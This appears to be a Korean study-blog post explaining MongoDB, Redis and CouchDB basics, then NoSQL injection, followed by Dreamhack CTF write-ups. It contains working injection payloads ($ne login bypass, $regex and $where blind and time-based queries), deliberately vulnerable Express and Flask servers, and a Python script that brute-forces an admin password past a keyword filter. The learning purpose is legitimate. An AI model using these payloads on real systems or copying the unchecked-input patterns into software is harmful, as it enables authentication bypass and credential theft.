NoSQL(Non-Relational DBMS), 문제풀이

지선·2023년 5월 17일

이비전

목록 보기
7/10

NoSQL

비관계형 데이터베이스
SQL 사용하지 않고 복잡하지 않은 데이터 저장
단순 검색 및 추가 검색 작업 위해 매우 최적화된 저장 공간
키-값을 사용해 데이터 저장
Redis, Dynamo, CouchDB, MongoDB 등 다양한 DBMS가 존재

MongoDB

JSON 형태의 document 저장

특징

  1. 스키마 따로 정의 x, 각 콜렉션에 대한 정의 필요 x
  2. JSON 형식으로 쿼리 작성할 수 o
  3. _id 필드가 primary key 역할

예시를 통해 이해하기

데이터를 삽입하고 조회하는 쿼리의 예시

db.inventory.find( { $and: [ { status: "A" }, { qty: { $lt: 30 } } ] } )

db.inventory.find: inventory 컬렉션에서 조회한다
$: 연산자 사용 가능
{ status: "A" }, { qty: { $lt: 30 } } : status가 "A", qty값이 30보다 작은 데이터

$ mongo
> db.user.insert({uid: 'admin', upw: 'secretpassword'})
WriteResult({ "nInserted" : 1 })
> db.user.find({uid: 'admin'})
{ "_id" : ObjectId("5e71d395b050a2511caa827d"), "uid" : "admin", "upw" : "secretpassword" }

db.user.insert: user 컬렉션에 삽입(추가)
uid 필드에는 'admin', upw 필드에는 'secretpassword' 데이터 저장
insert 명령이 삽입된 문서 수를 알려주는 WriteResult 반환

db.user.find: user 컬렉션에서 uid 필드가 admin인 문서 검색
_id: 문서의 고유 식별자인 ObjectId 나타냄, 나머지 필드는 삽입 시 지정한 값들 포함

MongoDB 연산자

$eq

지정된 값과 같은 값을 찾기

$in

배열 안에 값들과 일치하는 값 찾기

$ne

지정된 값과 같지 않은 값 찾기

$nid

배열 안의 값들과 일치하지 않는 값 찾기

$and

논리적 and , 각각의 쿼리를 모두 만족하는 문서가 반환

$not

쿼리 식과 일치하지 않은 문서 반환

$nor

논리적 nor, 각각의 쿼리를 모두 만족하지 않는 문서 반환

$or

논리적 or, 각각의 쿼리 중 하나 이상 만족하는 문서 반환

$exists

지정된 필드가 있는 문서 찾기

$type

지정된 필드가 지정된 유형인 문서 선택

$expr

쿼리 언어 내 집계 식 사용 가능

$regex

지정된 정규식과 일치하는 문서 선택

$text

지정된 텍스트 검색

문법

SELECT * FROM account;
=>db.account.find()
db.account.find({user_id: "admin"})
db.account.find({ user_id: "admin" },{ user_idx:1, _id:0 })

INSERT INTO account(user_id,user_pw,) VALUES ("guest", "guest");
=>db.account.insert({user_id: "guest",user_pw: "guest"})

DELETE FROM account;
=>db.account.remove()
db.account.remove( {user_id: "guest"} )

UPDATE account SET user_id="guest2" WHERE user_idx=2;
=>db.account.update({user_idx: 2},{ $set: { user_id: "guest2" } })

Redis

특징

키-값(Key-value) 쌍 가진 데이터 저장
메모리 기반의 DBMS->읽고 쓰는 작업을 다른 것들에 비해 훨씬 빠르게 수행
=>다양한 서비스에서 임시 데이터를 캐싱하는 용도로 주요 사용

예시를 통해 이해하기

$ redis-cli
127.0.0.1:6379> SET test 1234 # SET key value
OK
127.0.0.1:6379> GET test # GET key
"1234"

SET test 1234: test라는 키에 1234 값 설정
set명령: OK 반환-> 성공적으로 값 설정 알려줌

GET test : test라는 키에 저장된 값 가져옴 -> 해당 키에 저장된 값인 1234 반환

Redis 데이터 조회 및 조작 명령어

GET

GET key: 데이터 조회

MGET

MGET key [key ...]: 여러 데이터 조회

SET

SET key value: 새로운 데이터 추가

MSET

MSET key value [key value ...]: 여러 데이터 추가

DEL

DEL key [key ...]: 데이터 삭제

EXISTS

EXISTS key [key ...]: 데이터 유무 확인

INCR

INCR key: 데이터 값에 1 더함

DECR

DECR key: 데이터 값에 1 뺌

INFO

INFO [section]:DBMS 정보 조회

CONFIG GET

CONFIG GET parameter: 설정 조회

CONFIG SET

CONFIG SET parameter value: 새로운 설정 입력

CouchDB

JSON 형태인 도큐먼트(Document) 저장, 웹 기반의 DBMS, REST API 형식으로 요청을 처리

메소드에 대한 기능 설명

POST

새로운 레코드 추가

GET

레코드 조회

PUT

레코드 업데이트

DELETE

레코드 삭제

예시를 통해 이해하기

$ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'
{"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}
$ curl http://{username}:{password}@localhost:5984/users/guest
{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}

curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"} :
PUT 요청 사용해 'users' DB에 'guest'라는 문서 생성하는 명령, 요청 URL에는 로컬호스트 주소와 포트, 사용자 이름, 비밀번호 포함, '-d'플래그는 요청 본문에 전달할 데이터 지정하는데 여기서는 JSON 형식으로 upw 필드에 guest 값 가지는 데이터 전달, 응답으로는 ok 필드가 true로 설정된 JSON 반환, 생성된 문서의 고유 식별자인 'id'와 리비전('rev')제공

curl http://{username}:{password}@localhost:5984/users/guest{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"} :
GET 요청을 사용하여 CouchDB 데이터베이스의 users DB에서 guest 문서를 조회하는 명령, URL에 사용자 이름과 비밀번호가 포함, 응답으로 guest 문서의 내용이 JSON 형식으로 반환되며, _id와 _rev 필드는 문서의 고유 식별자와 리비전 나타냄

특수 구성 요소

_문자로 시작하는 URL과 필드는 특수 구성 요소를 나타냄

/

인스턴스에 대한 메타 정보 반환

/_all_dbs

인스턴스의 데이터 베이스 목록 반환

/_utils

관리자 페이지로 이동

/db

지정된 데이터베이스에 대한 정보 반환

/{db}/_all_docs

지정된 데이터베이스에 포함된 모든 도큐먼트 반환

/{db}/_find

지정된 데이터 베이스에서JSON 쿼리에 해당하는 모든 도큐먼트 반환

NoSQL Injection

입력값이 쿼리에 포함되면서 발생하는 문제점
MongoDB의 NoSQL Injection 취약점: 이용자의 입력값에 대한 타입 검증 불충분할 때
데이터 자료형으로 문자열, 정수, 날짜, 실수 등 외에 오브젝트, 배열 타입 사용 가능
=>오브젝트 타입의 입력값을 처리할 때 쿼리 연산자 사용 가능, 이를 통해 다양한 행위 가능

예제를 통해 이해하기

const express = require('express');
const app = express();
app.get('/', function(req,res) {
    console.log('data:', req.query.data);
    console.log('type:', typeof req.query.data);
    res.send('hello world');
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

express 모듈로 app객체 생성
'/' 경로에 대한 GET 요청 핸들러 등록, 요청 핸들러는 콜백 함수로서 req와 res 매개변수 받음
이 콜백 함수에서 console.log()사용해 요청 쿼리 파라미터의 data 값 출력, res.send() 사용하여 hello world 라는 문자열 클라이언트에게 응답

app객체 사용해 서버 시작, app.listen() 함수는 지정된 포트 (3000번) 에서 서버 시작, 이때 콜백 함수 실행, app.listen 메세지 출력

이 코드 문제점:req.query의 타입이 문자열로 지정x-> 문자열 이외의 타입 입력될 수 o

http://localhost:3000/?data=1234
data: 1234
type: string
http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object
http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ] 
type: object
http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' } 
type: object
http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true } 
type: object
http://localhost:3000/?data[5678]=1234&data[]=0000
data: { '0': '0000', '5678': '1234' } 
type: object
http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' } 
type: object

각각의 타입을 입력한 모습, 일반적인 문자열 이외에 오브젝트 타입 삽입할 수 있는 것을 확인 가능

연산자를 이용한 NoSQL Injection

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
    db.collection('user').find({
        'uid': req.query.uid,
        'upw': req.query.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
  });
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

user 컬렉션에서 이용자가 입력한 uid와 upw에 해당하는 데이터 찾고, 출력하는 예제
->이용자의 입력 값에 대한 타입 검증x, 오브젝트 타입 값 입력 가능

오브젝트 타입 값이 입력 가능하다?????
연산자 사용할 수 있다!!!!

http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

$ne : not equal 약자
일치하지 않는다면 데이터 반환

입력예시: {"uid": "admin", "upw": {"$ne":""}}
->upw모르더라도 출력 가능

Blind NoSQL Injection

참/거짓을 통해 데이터베이스 정보 알아낼 수 o
연산자 $regex, $where 이용해서 Blind NoSQL Injection 가능

expr:쿼리언어내에서집계식사용할수oexpr: 쿼리 언어 내에서 집계 식 사용할 수 oregex: 지정된 정규식과 일치하는 문서 선택
text:지정된텍스트검색text: 지정된 텍스트 검색where: 자바 스크립트 표현식을 만족하는 문서와 일치

$regex

> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

각 문자로 시작하는 데이터 조회하는 쿼리
user 컬렉션에서 upw 필드가 정규식 패턴에 맞는 값을 가지는 문서 검색

db.user.find({upw: {$regex: "^a"}}): 문자열이 a로 시작하지 나타냄
ex)apple, abs는 ^a라는 정규식 패턴과 일치

$where

> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
	"code" : 17287
}

where연산자 사용해 조건식 1==1을 실행하는 자바스크립트 함수를 쿼리로 사용 =>항상 ture 반환 =>모든 문서 선택하는 결과 반환 즉, user 컬렉션의 모든 문서 반환 db.user.find({uid:{where:"return 1==1"}})에서 오류 발생
=>field에서 사용할 수 x
즉, $where를 사용할 때 조건식을 전체 문서에 대해 적용해야 하며, 필드 수준에서는 사용할 수 없다.

> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

user 컬렉션에서 upw필드의 첫 번째 문자가 특정 문자로 시작하는 문서를 검색함

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/

sleep 함수를 사용하면 지연 시간을 통해 참/거짓 결과 확인 가능

req.query.uid: Express.js에서 HTTP GET 요청의 쿼리 파라미터(Query Parameter) 중 uid 이름을 가진 값을 가져오는 것을 의미
/users?uid=admin&upw=secretpassword와 같은 url 요청한다면, req.query.uid는 admin반환, req.query.upw는 secretpassword 반환

> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음

Error based injection: 에러를 기반으로 데이터를 알아내는 기법, 올바르지 않은 문법을 입력해 고의로 에러를 발생시킴
upw의 첫 글자가 'g' 문자인 경우 올바르지 않은 문법인 asdf를 실행하면서 에러가 발생

비밀번호 길이 획득법
{"uid": "admin", "upw": {"regex":".{5}"}} => admin {"uid": "admin", "upw": {"regex":".{6}"}}
=> undefined
upw가 5라는 것을 확인할 수 o
비밀번호 획득
{"uid": "admin", "upw": {"regex":"^a"}} =>admin {"uid": "admin", "upw": {"regex":"^ap"}}
=>admin
...
{"uid": "admin", "upw": {"$regex":"^apple"}}
=>admin

1. Mango

플래그는 admin 계정의 비밀번호라고 한다.

문제 파일에서 main.js 코드부터 살펴보자

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

우선 /부터 url에 추가해보았다.

그랬더니 /login?uid=guest&upw=guest 이런 형식이 나온다.

같은 형식으로 /login?uid=admin&upw=guest url에 넣어보니까

필터라고 나온다.
const BAN = ['admin', 'dh', 'admi']; 이것을 통해 필터링 되는 듯하다.
문자열에 대한 검증이 없으므로, object 형태로 전달해서 연산자를 사용해야겠다.

그런데.. 필터링은 어떻게 우회하지..
난.. adadminmin 이것밖에 모르는데.. 일단 해보자

/login?uid[$regex]=adadminmin&upw[$regex]=DH{*

이렇게 해볼라니까 바로 filter 나온다. 다른.. 우회방법 뭐가 있을까..

검색해보니까 '.'이 정규 표현식에서 임의의 문자를 나타낸다고 한다.

/login?uid[$regex]=a.min&upw[$regex]=D.{*
이렇게 넣으면

이런식으로 하면 될 것 같아서


이렇게.. 여러 개 넣어보다가 8에서 성공했다.. 어떻게 다 찾지 ㅠㅠ

우선 문자열 길이부터 알아맞춰야지 ^^
.{}

burp suite에서 이런거 해본적 있던 것 같아서..!

이렇게 해주고 1~100까지 해봤더니

36까지만 200번대인데.. 36글자가 갯수라는건가?

믿고.. 해보자..

DH{} 이렇게 4글자 빼고 brute force 돌려줘봐야겠다.. 돌리는 동안 다른 문제 풀어야지

결론못푸렀다에라이

import requests, string
HOST = 'http://host3.dreamhack.games:12029'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break
    print(f'FLAG: DH{{{flag}}}')

학습에서.. 가져와서 돌렸다..

그래그래.. 이해하면 된거지..

2. file-download-1


파일 다운로드에 취약점이 존재한다고 한다.

늘 그렇듯 파일부터 열어보자

#!/usr/bin/env python3
import os
import shutil

from flask import Flask, request, render_template, redirect

from flag import FLAG

APP = Flask(__name__)

UPLOAD_DIR = 'uploads'


@APP.route('/')
def index():
    files = os.listdir(UPLOAD_DIR)
    return render_template('index.html', files=files)


@APP.route('/upload', methods=['GET', 'POST'])
def upload_memo():
    if request.method == 'POST':
        filename = request.form.get('filename')
        content = request.form.get('content').encode('utf-8')

        if filename.find('..') != -1:
            return render_template('upload_result.html', data='bad characters,,')

        with open(f'{UPLOAD_DIR}/{filename}', 'wb') as f:
            f.write(content)

        return redirect('/')

    return render_template('upload.html')


@APP.route('/read')
def read_memo():
    error = False
    data = b''

    filename = request.args.get('name', '')

    try:
        with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
            data = f.read()
    except (IsADirectoryError, FileNotFoundError):
        error = True


    return render_template('read.html',
                           filename=filename,
                           content=data.decode('utf-8'),
                           error=error)


if __name__ == '__main__':
    if os.path.exists(UPLOAD_DIR):
        shutil.rmtree(UPLOAD_DIR)

    os.mkdir(UPLOAD_DIR)

    APP.run(host='0.0.0.0', port=8000)


바로 /upload로 들어가줬다

filename에 hello content에 안녕을 해준 결과이다.

hello Memo에 content는 그대로 뜬다.
http://host3.dreamhack.games:11607/read?name=hello
그리고 그때의 url은 이렇다.

flag.py를 입력해주니까

존재하지 않는다고 한다.
ㅎ..

댓글을 살짝 봐주니까 ../을 이용하래서 디렉터리를 이동하라는건가 싶어서 해보니까

에ㅣ..머지..

3.🌱 simple-web-request

#!/usr/bin/python3
import os
from flask import Flask, request, render_template, redirect, url_for
import sys

app = Flask(__name__)

try: 
    # flag is here!
    FLAG = open("./flag.txt", "r").read()      
except:
    FLAG = "[**FLAG**]"


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/step1", methods=["GET", "POST"])
def step1():

    #### 풀이와 관계없는 치팅 방지 코드
    global step1_num
    step1_num = int.from_bytes(os.urandom(16), sys.byteorder)
    ####

    if request.method == "GET":
        prm1 = request.args.get("param", "")
        prm2 = request.args.get("param2", "")
        step1_text = "param : " + prm1 + "\nparam2 : " + prm2 + "\n"
        if prm1 == "getget" and prm2 == "rerequest":
            return redirect(url_for("step2", prev_step_num = step1_num))
        return render_template("step1.html", text = step1_text)
    else: 
        return render_template("step1.html", text = "Not POST")


@app.route("/step2", methods=["GET", "POST"])
def step2():
    if request.method == "GET":

    #### 풀이와 관계없는 치팅 방지 코드
        if request.args.get("prev_step_num"):
            try:
                prev_step_num = request.args.get("prev_step_num")
                if prev_step_num == str(step1_num):
                    global step2_num
                    step2_num = int.from_bytes(os.urandom(16), sys.byteorder)
                    return render_template("step2.html", prev_step_num = step1_num, hidden_num = step2_num)
            except:
                return render_template("step2.html", text="Not yet")
        return render_template("step2.html", text="Not yet")
    ####

    else: 
        return render_template("step2.html", text="Not POST")

    
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", flag_txt="Not yet")
    else:

        #### 풀이와 관계없는 치팅 방지 코드
        prev_step_num = request.form.get("check", "")
        try:
            if prev_step_num == str(step2_num):
        ####

                prm1 = request.form.get("param", "")
                prm2 = request.form.get("param2", "")
                if prm1 == "pooost" and prm2 == "requeeest":
                    return render_template("flag.html", flag_txt=FLAG)
                else:
                    return redirect(url_for("step2", prev_step_num = str(step1_num)))
            return render_template("flag.html", flag_txt="Not yet")
        except:
            return render_template("flag.html", flag_txt="Not yet")
            

app.run(host="0.0.0.0", port=8000)

플래그 형태 : DH{sample_flag}

if request.method == "GET":
        prm1 = request.args.get("param", "")
        prm2 = request.args.get("param2", "")
        step1_text = "param : " + prm1 + "\nparam2 : " + prm2 + "\n"
        if prm1 == "getget" and prm2 == "rerequest":
            return redirect(url_for("step2", prev_step_num = step1_num))
        return render_template("step1.html", text = step1_text)
    else: 
        return render_template("step1.html", text = "Not POST")

여기를 보고
제출해줬더니
step2로 넘어간 것 같다.

 if prm1 == "pooost" and prm2 == "requeeest":
                    return render_template("flag.html", flag_txt=FLAG)

에엥 이거보고 pooost, requeeest 차례대로 넣으니까 나왔다

profile
긍정왕되기

0개의 댓글